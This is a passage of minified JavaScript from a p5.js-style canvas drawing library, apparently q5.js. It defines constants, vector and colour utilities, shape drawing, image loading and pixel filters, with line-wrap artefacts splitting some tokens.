=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
